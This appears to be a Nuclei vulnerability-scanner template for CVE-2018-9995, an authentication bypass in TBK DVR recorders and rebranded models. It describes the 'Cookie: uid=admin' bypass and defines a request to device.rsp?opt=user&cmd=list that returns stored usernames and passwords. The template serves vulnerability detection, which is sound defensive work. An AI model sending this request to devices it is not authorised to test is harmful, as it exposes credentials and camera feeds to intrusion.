53 lines
2.1 KiB
YAML
53 lines
2.1 KiB
YAML
id: CVE-2018-9995
|
|
|
|
info:
|
|
name: TBK DVR4104/DVR4216 Devices - Authentication Bypass
|
|
author: princechaddha
|
|
severity: critical
|
|
description: |
|
|
TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and
|
|
MDVR Login, which run re-branded versions of the original TBK DVR4104 and DVR4216 series, allow remote attackers to bypass
|
|
authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.
|
|
remediation: |
|
|
Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability and ensure strong and unique passwords are used for device access.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/44577/
|
|
- http://misteralfa-hack.blogspot.cl/2018/04/tbk-vision-dvr-login-bypass.html
|
|
- http://misteralfa-hack.blogspot.cl/2018/04/update-dvr-login-bypass-cve-2018-9995.html
|
|
- https://www.bleepingcomputer.com/news/security/new-hacking-tool-lets-users-access-a-bunch-of-dvrs-and-their-video-feeds/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-9995
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2018-9995
|
|
epss-score: 0.93593
|
|
epss-percentile: 0.98838
|
|
cpe: cpe:2.3:o:tbkvision:tbk-dvr4216_firmware:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: tbkvision
|
|
product: tbk-dvr4216_firmware
|
|
tags: cve,cve2018,auth-bypass,tbk,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/device.rsp?opt=user&cmd=list"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "\"uid\":"
|
|
- "\"pwd\":"
|
|
- "\"view\":"
|
|
- "playback"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a004830460221008e808a47bf56091cd27cdb4bf883f79d4131cff72a75fcc4b4affa4812529c6e022100b66898868da89d7ca6e88899994ee83d5eeafaaca2ac8478a1fbfb6b080dab8d:922c64590222798bb761d5b6d8e72950
|